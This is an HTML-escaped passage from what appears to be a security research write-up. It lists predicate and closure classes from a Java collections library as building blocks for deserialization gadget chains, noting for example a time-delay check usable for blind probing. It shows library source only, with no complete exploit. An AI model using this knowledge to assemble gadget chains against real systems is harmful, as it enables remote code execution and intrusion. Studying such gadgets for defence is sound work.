    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;EqualPredicate&quot;&gt;EqualPredicate&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iValue&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;equals&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;IdentityPredicate&quot;&gt;IdentityPredicate&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iValue&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;InstanceofPredicate&quot;&gt;InstanceofPredicate&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iType&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;isInstance&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;NullPredicate&quot;&gt;NullPredicate&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;NotNullPredicate&quot;&gt;NotNullPredicate&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;NullIsExceptionPredicate&quot;&gt;NullIsExceptionPredicate&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;FunctorException&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Input Object must not be null&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iPredicate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;NullIsFalsePredicate&quot;&gt;NullIsFalsePredicate&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iPredicate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;NullIsTruePredicate&quot;&gt;NullIsTruePredicate&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iPredicate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;ExceptionPredicate&quot;&gt;ExceptionPredicate&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;FunctorException&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ExceptionPredicate invoked&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;TransformedPredicate&quot;&gt;TransformedPredicate&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iPredicate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;TransformerPredicate&quot;&gt;TransformerPredicate&lt;/h3&gt;
&lt;p&gt;Essential predicate that takes transformer output.
With this we can construct gadgets like: &lt;code class=&quot;highlighter-rouge&quot;&gt;if (string.isEmpty()) Thread.sleep(7000);&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iTransformer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;instanceof&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Boolean&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;FunctorException&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;&quot;Transformer must return an instanceof Boolean, it was a &quot;&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;null object&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getClass&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getName&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;()));&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Boolean&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;booleanValue&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;UniquePredicate&quot;&gt;UniquePredicate&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;boolean&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;evaluate&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iSet&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;closure-glossary&quot;&gt;Closure glossary&lt;/h2&gt;
&lt;p&gt;List of all closures available for use in gadgets with the key functionality.&lt;/p&gt;

&lt;h3 id=&quot;ChainedClosure&quot;&gt;ChainedClosure&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nc&quot;&gt;Increases&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;expressivity&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;of&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;the&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;language&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iClosures&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;iClosures&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;ExceptionClosure&quot;&gt;ExceptionClosure&lt;/h3&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;FunctorException&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ExceptionClosure invoked&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;ForClosure&quot;&gt;ForClosure&lt;/h3&gt;
&lt;p&gt;Increases expressivity of the language.&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iCount&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;iClosure&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;IfClosure&quot;&gt;IfClosure&lt;/h3&gt;
&lt;p&gt;Increases expressivity of the language.&lt;/p&gt;

